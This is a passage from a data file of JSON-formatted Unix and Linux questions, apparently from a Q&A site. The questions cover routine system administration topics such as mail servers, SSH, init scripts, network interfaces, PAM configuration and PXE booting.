any new support for switchable graphics lately that I can take advantage of?"} {"_id": "21614", "title": "configure postfix to accept mail from two WANs", "text": "I have a mac server but my question has long left the realm of the GUI. My last hope is a unix forum. I have a cisco router with two WAN ports. The mac uses postfix 2.8.3. I have correctly configured the port forwarding for in this case port 25. When I however try to open a telnet session from an external host to the IP addresses of my WAN ports using port 25, I only get a postfix reply on WAN1. WAN2 gives me an \"Unable to connect to remote host: Connection time out\". If I however have WireShark running I can see that the router forwards the request, but postfix just doesn't seem to \"pick up\". I reviewed my main.cf and there was nothing that suggested that postfix should be picky which WAN it wants to use. inet_protocols is set to all and I even tried adding the static ip addresses of each of my WAN ports to the my networks variable. I can't seem to get it to work though - does anyone have any tips where I can look next? Thanks"} {"_id": "68181", "title": "Use an USB tethered phone as network adapter", "text": "I am running CentOS 6 and was able to tether my HTC phone using a proxy called proxoid . This allows me to redirect HTTP. But how do I redirect the entire TCP traffic, e.g. if I need to setup openvpn connection to my VPN server? It seems it can be done because software similar to proxoid (exactly same principles, e.g. easytether), which sets up network adapter. I couldn't find anything on internet perhaps because I don't have the right keywords - maybe this is a virtual network adapter that I am trying to setup?"} {"_id": "152431", "title": "Querying a remote POP3 Mail server using BASH", "text": "I'd like to connect to our mail server via POP3, look for a certain pass phrase in the subject and if found then run a script. How can I achieve this with BASH other than awkwardly scripting Telnet? Thanks!"} {"_id": "21612", "title": "How does traceroute resolve names?", "text": "While writing a script, I wanted to reference a machine by the computer name that I gave it (e.g. \"selenium-rc\"). I could not ping it using \"selenium-rc\", so I tried the following commands to see if the name was recognized. > traceroute 192.168.235.41 traceroute to 192.168.235.41 (192.168.235.41), 64 hops max, 52 byte packets 1 selenium-rc (192.168.235.41) 0.545 ms 0.241 ms 0.124 ms Ok, traceroute \"found\" the name. How? Next ... > traceroute selenium-rc traceroute: unknown host selenium-rc Hmm ... the lookup mechanism here must be different because the host is unkown. I'm assuming this is using a system name resolution process whereas the first example was using a process specific to traceroute. Correct? Then when I came back a bit later ... > traceroute 192.168.235.41 traceroute to 192.168.235.41 (192.168.235.41), 64 hops max, 52 byte packets 1 minint-q4e8i52.mycorp.net (192.168.235.41) 0.509 ms 0.206 ms 0.136 ms Ok, different result. The \"selenium-rc\" name did not change on the machine itself, but the traceroute name resolution process must include some sort of priority and now gives a presumably more authoritative result assigned by another system/service on the network. (Unfortunately, I'm assuming it's a dynamic name that I do not control, and thus it would not be useful in a script.) Can someone explain the results?"} {"_id": "140359", "title": "Test for a particular file format", "text": "This is a followup to Normal looking text file, detected by file as ASCII Pascal program text It seems `file` can't be trusted all the time. It seems possible that a particular file may be detected as having both `encoding/format1` and `encoding/format2`. `file` tells me it's `encoding/format1`, but I need to check, whether it also satisfies the constraints of `encoding/format2`. * Is there a way to do that? * Is there a way I can ask \"Check if this file follows the rules of ASCII English Text (or _some other encoding_ )\" and the answer will be \"yes\" or \"no\"?"} {"_id": "150033", "title": "Why VNC performance seems to have dropped over the years?", "text": "I've been using VNC since around 2000 (even earlier), back then I used a 19k cellular modem to connect to my desktop. Lately I've been connecting to my Ubuntu desktop from my Android phone. It seems to me that it works more slowly. Why is that? I believe that the connection speeds increased much faster than resolutions (I'm on 1920x1080) and frame rates since then. Am I underestimating the load that the higher resolutions add to the bandwidth required? Could it be because back then I used TightVNC and now I'm using Vino? Can something be done to make my remote X session bearable? I read about other technologies (such as NX and SPICE) but from what I understood, they can only be used with separate X sessions and not to take over an existing one (did I miss an option that does)."} {"_id": "154273", "title": "How to have service that makes sure program keeps running?", "text": "I made a service called `thin_keep_alive_service` in `/etc/init.d`. I gave it `chmod +x` rights. The script looks as follows: #!/bin/bash ### BEGIN INIT INFO # Provides: thin_keep_alive_service # Required-Start: $local_fs $network # Required-Stop: $local_fs # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description Keeps Thin servers running # Description: This service checks every 30 seconds if at least # two light weight thin web servers are alive and # restarts them all from the bundle if not. ###END INIT INFO while true do # Store an array of the pids of thin thin_pid_arr=($(pgrep -f thin)) # When there are less than two Thin servers left we reboot them all if [ ${#thin_pid_arr[@]} -lt 2 ]; then cd /root_to_app && bundle exec thin -C /etc/thin/app.yml restart fi #Wait 30 seconds before checking again sleep 30 done It does work when I run it as `service thin_keep_alive_service start`. But it does not run in the background continuously after startup, since my two servers die after a while and no new ones are rebooted. How to make sure it runs in the background?"} {"_id": "69171", "title": "Allow audio from only one application", "text": "I'd like to only allow audio from a certain application. That is, I'd like to have audio turned off by default for new programs. I'm aware that in PulseAudio one can mute programs, but the problem is that (for me) new programs always begin unmuted."} {"_id": "69172", "title": "How to securely automate running commands as root with \"sudo su -\"?", "text": "hint (on client side, how to encrypt files/pwd's): # encrypt pwd with ssh key: openssl rsa -in ~/.ssh/id_rsa -outform pem > ~/.ssh/TEMP-id_rsa.pem 2>/dev/null openssl rsa -in ~/.ssh/id_rsa -pubout -outform pem > ~/.ssh/TEMP-id_rsa.pub.pem 2>/dev/null echo $PWDHERE > ~/.ssh/TEMP.pwd openssl rsautl -encrypt -pubin -inkey ~/.ssh/TEMP-id_rsa.pub.pem -in ~/.ssh/TEMP.pwd -out ~/.ssh/TEMP.pwd.enc 2>/dev/null rm ~/.ssh/TEMP.pwd > /dev/null 2>&1 # decrypt: PWDHERE=`openssl rsautl -decrypt -inkey ~/.ssh/TEMP-id_rsa.pem -in ~/.ssh/TEMP.pwd.enc` So.. it would be a very easy task to automate running commands via SSH on servers with the root user on server side (in the end we need to run a script from a desktop machine on server side with root user, but running a command automated would be enough to know, from there we could do the thing..). BUT: the **Question is** that how to securely automate running commands with root if we have to \"sudo su -\" first on the server, and give password in it? UPDATE: modifying the sudoers file is not an option. (maybe puppet can do this??) UPDATE#2: echo myPassword | sudo -S ls /tmp isn't secure AFAIK. (because if other users 'ps -ef' they could see the pwd for a little time?) So that's not a solution either. UPDATE#3: I want to do \"Remote control a machine(s) with ad-hoc commands\""} {"_id": "69175", "title": "output in json form", "text": "The following command gives memory usage into normal form. awk '/^Mem/ {printf(\"%u%%\", 100*$3/$2);}' <(free -m) I want to get it in valid json form. **Desire output:** Example: {\"Memory\":\"80\"}"} {"_id": "45449", "title": "Where is the printer default option configuration file?", "text": "I am using CUPS 1.6.1. I have a problem with printing the pages with one side only. Default option is \"one-sided\", as in the CUPS web interface configuration. But when I do the printing, it prints out \"two-sided-long-edge\" result. I want to configure it manually. Where is the exact configuration file location? Whenever I make the changes from the CUPS web interface for default options, the /etc/cups/printers.conf time is modified, but content is not changed. But in the web interface, the default option is changed. Which file is the default options configuration?"} {"_id": "45446", "title": "How to Wrap a file with Tags in Bash", "text": "I have an `xml` file named `test.xml`, without a root tag like this: How can I wrap this file with a root tag to make the output look like this: "} {"_id": "45447", "title": "Other than Alt + Shift to switch keyboard layout, any other Xorg key combinations?", "text": "All I can find about XkbOptions was: Option \"XKbOptions\" \"grp:alt_shift_toggle\" Seems I can only use `alt`+`shift` combination to switch keyboard layout, any other keys that I can use ?"} {"_id": "124359", "title": "How can I move framebuffer or X screen relative position?", "text": "A long time ago ~~in a galaxy far, far away~~ I had fixed boot screen using this nice solution. Since that time I have been looking for the way to move framebuffer in virtual console slightly to the right and down, relatively to X screen position (or vice-versa), because it is shown in wrong position, and part of symbols cannot be seen. I reproduced look and feel of this problem using Crop tool and `fbgrab` command: ![Console Screenshot](http://i.stack.imgur.com/i79Mt.png) The GRUB menu also hides it's left side behind the screen, but I don't know how to make screenshot there without VirtualBox (and I doubt this screenshot will be useful). However, the main X screen shows itself on the correct place (as it seems to me), and my monitor (ACER AL1916) always autotunes to this position, even if virtual console is shown. I looked in many sources including AskUbuntu, but have found only one solution: switch from VGA cable to DVI, which it is not acceptable, because my graphic card (NVIDIA 6150SE) has only VGA port onboard. I also found that `fbset` command can adjust screen parameters but need help for getting how does it work. Here is the output of `sudo fbset` command: mode \"1280x1024-77\" # D: 131.096 MHz, H: 80.328 kHz, V: 76.649 Hz geometry 1280 1024 1280 1024 32 timings 7628 160 32 16 4 160 4 rgba 8/16,8/8,8/0,8/24 endmode UPD: during reporting non-affected bug found one line that says: .proc.driver.nvidia.warnings.fbdev: Your system is not currently configured to drive a VGA console on the primary VGA device. The NVIDIA Linux graphics driver requires the use of a text-mode VGA console. Use of other console drivers including, but not limited to, vesafb, may result in corruption and stability problems, and is not supported. So, does anyone know how to adjust position of Virtual Console or X screen relatively to each other?"} {"_id": "101355", "title": "Telnet login prompt very slow on Static IP only, possible rDNS issue?", "text": "I've switched my CentOS machine from DHCP to static routing, using telnet to connect to it has gone from practically instantaneous, to taking around 30 seconds for the initial login prompt to display. Apparently, this has something to do with the server doing a reverse DNS lookup to figure out who is connecting to the box, which relies on the hosts file. Should I add something to /etc/hosts to speed up the process? My file is extremely limited right now, this is pretty much a fresh install. [root@Azaz07]# cat /etc/hosts 127.0.0.1 localhost.localdomain localhost ::1 localhost6.localdomain6 localhost6 Telnet0 done locally responds right away."} {"_id": "19395", "title": "How to kill two or more processes with one kill command?", "text": "I am using the following command to kill one java process via shell script: > pidof java|xargs kill -9 $1 What if the list of `pidof` output has more than one elements? How do I kill them both with the same one command?"} {"_id": "45440", "title": "Creating a bootable Linux installation USB without unetbootin", "text": "I want to install Scientific Linux from USB. I don't know why unetbootin doesn't work but I am not curious to find out: after all, I transferred to Linux from Windows to see and learn the underlying procedures. I format my USB drive to FAT32 and run this command as root: # pv -tpreb /path/to/the/downloaded/iso | sudo dd of=/path/to/the/USB/device While it works for Live-CDs or network installs (that are less than 1GB) it doesn't work for the actual installation DVDs that are about ~4GB. I would be really grateful if anyone can help me fix this problem. Considering the fact that it works for smaller .iso files, I guess it has to do with the File System, am I correct? What other options do I have?"} {"_id": "45441", "title": "What command can be used to force release everything in swap partition back to memory?", "text": "What command can be used to force release everything in swap partition back to memory ? Presume that I have enough memory."} {"_id": "125400", "title": "How can I find available network interfaces?", "text": "This is in regard to linux, but if anyone knows of a general *nix method that would be good. I booted a system yesterday with an ethernet cable plugged in. \"NetworkManager\" is not installed, so once it started I went to look for the name of the ethernet interface with `ifconfig` to start a DHCP client manually, but it did not show anything other than `lo`. The NIC was listed via `lspci`, and the appropriate kernel driver was loaded. The system normally uses wifi, and I could remember the interface name for that was `wlan0`. When I tried `ifconfig wlan0 up`, `wlan0` appeared. But the only ethernet interface names I could remember were `eth[N]` and `em[N]` -- neither of which worked. This document refers to \"predictable interface names\" but does not do a good job of explaining what they might be in simple terms. It does refer to a piece of source code which implies the name in this case might be deduced from the the PCI bus and slot numbers, which seems like an unnecessarily complicated hassle. Other searching around led me to believe that this might be determined by `systemd` in conjunction with `udev`, but there are almost 100 files in `/usr/lib/udev/rules.d` and spending an hour trying to determine where (and _if_ ) there's a systemd config file for this also seems ridiculous. It would also be nice to know for certain that they are available, not just how they might be named _if_ they are, so I can rule out hardware problems, etc. **Isn't there a simple way to find the names of available network interfaces on linux?**"} {"_id": "125403", "title": "Send a specific signal to an external USB keyboard? Or, how do I fix fdopen()?", "text": "Some background: I'm trying to make the caps lock light on an external keyboard light up on-command when I run a command from the command line. Ideally it would be scriptable, so that I can use it for alerts and things (I disassembled the keyboard). I got this command which looks like it should work: fd=fdopen(\"/dev/console\"); ioctl(fd, 0x4B32, 0x04); When I try to run this command on either OS X or on a Ubuntu server I have laying around, this happens: me@server1:~$ fd=fdopen(\"/dev/console\"); ioctl(fd, 0x4B32, 0x04); -bash: syntax error near unexpected token `(' me@server1:~$ fd=fdopen(/dev/console); -bash: syntax error near unexpected token `(' So it looks like the problem is in the first part. Do I need to install a set of software/utilities? How can I manually control the caps lock light on my external keyboard?"} {"_id": "62369", "title": "What is log_daemon_msg ?", "text": "I was looking through `/etc/init.d/ssh` to get an idea of how a \"proper\" sys daemon is run at boot (I'm trying to add `svnserve` to that list). I saw this `log_daemon_msg` used as a command, but I have no idea what it is ? `which log_daemon_msg` and `man log_daemon_msg` came up empty. ### Example: log_daemon_msg \"Starting OpenBSD Secure Shell server\" \"sshd\" || true if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd -- $SSHD_OPTS; then log_end_msg 0 || true else log_end_msg 1 || true fi How does that work? I tried goggling around, but the only things I could were questions about where it records its messages, which is useless since I hardly know how to use it or what it even is - a command, a builtin, or something else ?"} {"_id": "44791", "title": "Combined su and screen at startup", "text": "I want to start a long running custom script at boot. The script must run under a specific username. So far I have successfully used the screen command and switched to the user in the custom script. But I rather have the screen command run under that user so that I can later login to that user and resume the screen. This one does work when run as root in the console but it does not work as a line in a startup script. su -c \"screen -S sessionname -d -m /path/cot/bash/script\" username"} {"_id": "44790", "title": "Build, link processes in linux", "text": "I'm newbie to linux. I'm not able to get difference between build and compile. Are they same? how exactly linking works? What exactly .so file and .o file contains and how I am supposed to use them? These all files I see everyday but I don't know exactly what they contain. Can anyone suggest some tutorial to clearly tell these processes?"} {"_id": "44793", "title": "How to prevent /var/log/mail.log from inflating?", "text": "I am using Ubuntu 11.10 (oneiric). `/var/log/mail` keeps inflating on my server: Aug 5 10:48:25 domU-12-31-39-0B-C4-54 sm-msp-queue[13360]: q71He1xw027248: to=postmaster, delay=3+17:03:10, xdelay=00:00:00, mailer=relay, pri=23074446, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1] Aug 5 10:48:25 domU-12-31-39-0B-C4-54 sm-msp-queue[13308]: q717K1wk024979: to=postmaster, delay=4+03:23:18, xdelay=00:00:00, mailer=relay, pri=25779463, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1] Aug 5 10:48:25 domU-12-31-39-0B-C4-54 sm-msp-queue[13360]: q71He1xx027248: to=postmaster, delay=3+17:03:10, xdelay=00:00:00, mailer=relay, pri=23075343, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1] ... I am not using sendmail directly, and would prefer to disable it. It seems sendmail cannot start: $ sudo /etc/init.d/sendmail start * Starting Mail Transport Agent (MTA) sendmail 451 4.0.0 /etc/mail/sendmail.cf: line 100: fileclass: cannot open '/etc/mail/local-host-names': Group writable directory I believe I have the correct permissions: $ ls -ld /etc/mail/local-host-names -rw-r--r-- 1 root root 52 2011-12-04 06:58 /etc/mail/local-host-names But ... are the permissions on the parent folder ok? g$ ls -ld / /etc /etc/mail drwxr-xr-x 23 root root 4096 2012-05-23 08:38 / drwxrwxr-x 99 root root 4096 2012-08-05 07:29 /etc drwxr-sr-x 7 smmta smmsp 4096 2011-12-04 06:58 /etc/mail I would want to either fix sendmail, or disable it. I tried: $ sudo update-rc.d sendmail disable update-rc.d: warning: sendmail start runlevel arguments (none) do not match LSB Default-Start values (2 3 4 5) update-rc.d: warning: sendmail stop runlevel arguments (none) do not match LSB Default-Stop values (1) Disabling system startup links for /etc/init.d/sendmail ... Removing any system startup links for /etc/init.d/sendmail ... /etc/rc0.d/K19sendmail /etc/rc1.d/K19sendmail /etc/rc2.d/K79sendmail /etc/rc3.d/K79sendmail /etc/rc4.d/K79sendmail /etc/rc5.d/K79sendmail /etc/rc6.d/K19sendmail Adding system startup for /etc/init.d/sendmail ... /etc/rc0.d/K19sendmail -> ../init.d/sendmail /etc/rc1.d/K19sendmail -> ../init.d/sendmail /etc/rc6.d/K19sendmail -> ../init.d/sendmail /etc/rc2.d/K79sendmail -> ../init.d/sendmail /etc/rc3.d/K79sendmail -> ../init.d/sendmail /etc/rc4.d/K79sendmail -> ../init.d/sendmail /etc/rc5.d/K79sendmail -> ../init.d/sendmail but my mail.log still gets the same errors. Additional links I looked into: * http://www.linuxforums.org/forum/servers/184133-connection-refused-127-0-0-1-mail-logs.html * http://serverfault.com/questions/314429/cannot-open-etc-mail-trusted-users-group-writable-directory"} {"_id": "20153", "title": "Confused about PAM configuration stanza and the roles of the control-flag parameters", "text": "I just begun studying for the RHCE. While on the topic of PAM configuration, I was a little perplexed with this stanza from `/etc/pam.d/system-auth`: auth required pam_env.so auth sufficient pam_unix.so nullok try_first_pass auth requisite pam_succeed_if.so uid >= 500 quiet auth required pam_deny.so According to the PAM documentation, `sufficient` means that it would cease to process the rest of the stack. If that is the case, then the 3rd line never gets to check the UID of the logged in user. Am I interpreting this correctly or am I misunderstanding something?"} {"_id": "46868", "title": "How to operate as root in GUI?", "text": "Following the standard recommendation I use my Linux system with a normal account and switch to root only in special cases. When browsing the file system using GUI sometimes an error pops up - `You do not have privelige to view the contents of this folder`. At this point what I have to do is open up the terminal, switch to root using `su`, navigate to that directory and then list the contents using `ls`. This is really tiresome and annoying. Wouldn't it be convenient if you could just right click on a directory or program in the GUI itself and have an option like `Open as Root` or `Run as Root`? Is this possible in Linux? I'm using GNOME 3.4. Edit: Please no answers like directories are unaccessible for a reason. I'm not talking about free access to any directory/program but about authenticating using GUI."} {"_id": "58079", "title": "How to get the latest Flash in non-Chrome browsers?", "text": "Adobe have recently stopped updating their Flash distribution for Linux. So, version numbers are being frozen at 11.2(.212), and only security updates are being back-ported. I noticed here that Chrome has a \"pepper-based Flash player\", which has the same version number as the latest Windows and OSX flash players (11.5.31.2 at time of writing). In the last couple of weeks, my favourite watch on-demand TV player (4od - I think is UK only) has stopped working in Firefox and Rekonq; I suspect because of a Flash version check. Chrome plays the videos I want to see; Firefox, Opera and Rekonq do not. So, is it possible to install (and keep up-to-date) this pepper-based flash player in other web-browsers? Or, is there any other way to spoof the version check and play protected content in other web-browsers?"} {"_id": "46861", "title": "can't get gnome-session working over SSH", "text": "I am new to using SSH, so sorry if this question is too rudimentary. To sign into my office computer from my home computer through ssh I go through these two steps: first I login to my office server: `ssh -X myOfficeServerID@myofficeServer` then I sign in to my computer using the local IP: `ssh -X myOfficeComputerID@myOfficeComputerIP`. I want to be able to view my desktop remotely and work with the GUI. This is result of running `gnome-session`: [myOfficeComputerID@myOfficeComputer]$gnome-session gnome-session[17491]: WARNING: Unable to determine session: Unable to lookup session information for process '17491' GNOME_KEYRING_SOCKET=/tmp/keyring-TokklK/socket SSH_AUTH_SOCK=/tmp/keyring-TokklK/socket.ssh GNOME_KEYRING_PID=17507 ** (gnome-settings-daemon:17510): WARNING **: You can only run one xsettings manager at a time; exiting ** (gnome-settings-daemon:17510): WARNING **: Unable to start xsettings manager: Could not initialize xsettings manager. ** (gnome-settings-daemon:17510): WARNING **: Connection failed, reconnecting... ** (gnome-settings-daemon:17510): WARNING **: Failed to connect context: Connection refused Window manager warning: Screen 0 on display \"localhost:10.0\" already has a window manager; try using the --replace option to replace the current window manager. Window manager warning: Screen 0 on display \"localhost:10.0\" already has a window manager; try using the --replace option to replace the current window manager. Starting Dropbox...Connection failure: Connection refused pa_context_connect() failed: Connection refused Done! (polkit-gnome-authentication-agent-1:17571): polkit-gnome-1-WARNING **: Unable to determine the session we are in: Remote Exception invoking org.freedesktop.ConsoleKit.Manager.GetSessionForUnixProcess() on /org/freedesktop/ConsoleKit/Manager at name org.freedesktop.ConsoleKit: org.freedesktop.ConsoleKit.Manager.GeneralError: Unable to lookup session information for process '17571' org.freedesktop.ConsoleKit.Manager.GeneralError Unable%20to%20lookup%20session%20information%20for%20process%20%2717571%27 system-config-printer-applet: failed to start NewPrinterNotification service ** (gnome-panel:17538): CRITICAL **: panel_applet_frame_change_background: assertion `PANEL_IS_WIDGET (GTK_WIDGET (frame)->parent)' failed ** (nm-applet:17578): WARNING **: request_name(): Could not acquire the NetworkManagerUserSettings service. Error: (9) Connection \":1.261\" is not allowed to own the service \"org.freedesktop.NetworkManagerUserSettings\" due to security policies in the configuration file Failed to play sound: Not available ** (gnome-volume-control-applet:17590): WARNING **: Connection failed, reconnecting... ** (gnome-volume-control-applet:17590): WARNING **: Failed to connect context: Connection refused Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension ** (gnome-volume-control-applet:17590): WARNING **: Connection failed, reconnecting... ** (gnome-volume-control-applet:17590): WARNING **: Failed to connect context: Connection refused ** (gnome-settings-daemon:17510): WARNING **: Grab failed for some keys, another application may already have access the them. ** (gnome-settings-daemon:17510): WARNING **: Clipboard manager is already running. ** (gnome-settings-daemon:17510): WARNING **: Connection failed, reconnecting... ** (gnome-settings-daemon:17510): WARNING **: Failed to connect context: Connection refused Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension failed to create drawable Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension ^CTraceback (most recent call last): File \"/usr/share/system-config-printer/applet.py\", line 434, in waitloop.run() KeyboardInterrupt ** Message: Got disconnected from the session message bus; retrying to reconnect every 10 seconds (gnome-settings-daemon:17510): GConf-WARNING **: Directory `/desktop/gtk' was not being monitored by GConfClient 0xda21e0 (gnome-settings-daemon:17510): GConf-WARNING **: Directory `/desktop/gnome/interface' was not being monitored by GConfClient 0xda21e0 (gnome-settings-daemon:17510): GConf-WARNING **: Directory `/apps/gnome_settings_daemon/gtk-modules' was not being monitored by GConfClient 0xda21e0 (gnome-settings-daemon:17510): GConf-WARNING **: Directory `/desktop/gnome/font_rendering' was not being monitored by GConfClient 0xda21e0 (gnome-settings-daemon:17510): GConf-WARNING **: Directory `/desktop/gnome/sound' was not being monitored by GConfClient 0xda21e0 GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) [myOfficeComputerID@myOfficeComputer ~]$ (gnome-settings-daemon:17510): GConf-WARNING **: Directory `/desktop/gnome/peripherals/mouse' was not being monitored by GConfClient 0xda21e0 GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: Failed to connect to socket /tmp/dbus-gk7tyDBsRK: Connection refused) ^C These commands keep on continuing non stop until I press ^C as you saw in the commands: Initializing nautilus-gdu extension Initializing nautilus-open-terminal extension Initializing nautilus-dropbox 1.4.0 Shutting down dropbox extension Shutting down nautilus-open-terminal extension Shutting down nautilus-gdu extension In the mean while things like `firefox` run from my office computer but the bottom panel won't stop loading things."} {"_id": "58074", "title": "How to chroot into busybox environment?", "text": "i have a filesystem build with buildroot, to compile code for a device using a old kernel and uClibc. Now i want to `chroot` into the fs. The problem is, i dont have `/bin/bash`, just `/bin/busybox`. How do i say chroot to use `busybox ash` instead? I already tried to create a link to `busybox ash`, but chroot still says `failed to run command /bin/bash. no such file or directory`."} {"_id": "46865", "title": "Can't install driver in Arch", "text": "I'm using Arch Linux, kernel 3.5.3 on a MacBook. I'm trying to get the keyboard backlight working. I found the driver in the AUR: http://aur.archlinux.org/packages.php?ID=25467, but I'm having trouble compiling it. When I run `makepkg` i get: ==> Making package: nvidia-bl 0.16.7-1 (Sat Sep 1 03:23:25 UTC 2012) ==> Checking runtime dependencies... ==> Installing missing dependencies... Password: target not found: kernel26<2.6.34 ==> ERROR: 'pacman' failed to install missing dependencies. I'm a new Linux user. Does this mean that I need to downgrade my Linux version to use this driver?"} {"_id": "58070", "title": "Would it be possible to not have the network link cycled on loading the kernel module?", "text": "Using some cheap hardware in a thin-client setup we use a diskless PXE booting a small Linux kernel. Currently, it takes a quite some time to boot it fully up and we're looking into some optimizations here. The biggest pain now is the network link initialization by the kernel. During the initialization of the PXE Option ROM it acquires a link, IP address and options which PXELinux uses to do do the TFTP action to load the kernel and a small initrd. While loading the kernel, or more specifically the ethernet kernel module, it recycles the link and does re-negotiation with the switch. We've timed this to be at least four seconds on the hardware we have here. In an enterprise environment this can take quite some additional time on the switch before it is able to talk to the rest of the network (e.g. Cisco without portfast). All this and has to be walked through twice from the point one hits the power button. Avoiding it the second time would be of great value here. Summarizing: would it be possible to have the Linux network (ethernet) driver to not touch the link state it acquired by the PXE boot subsystem? Also, if this is only valid for specific hardware, I would be quite interested to know about it. edit: The module `jme` involves just these three module parameters: parm: force_pseudohp:Enable pseudo hot-plug feature manually by driver instead of BIOS. (int) parm: no_pseudohp:Disable pseudo hot-plug feature. (int) parm: no_extplug:Do not use external plug signal for pseudo hot-plug. (int) Looking at the source code there's no condition for running the reset link function when initializing the hardware. (specifically, `.ndo_open` -> `jme_open` -> 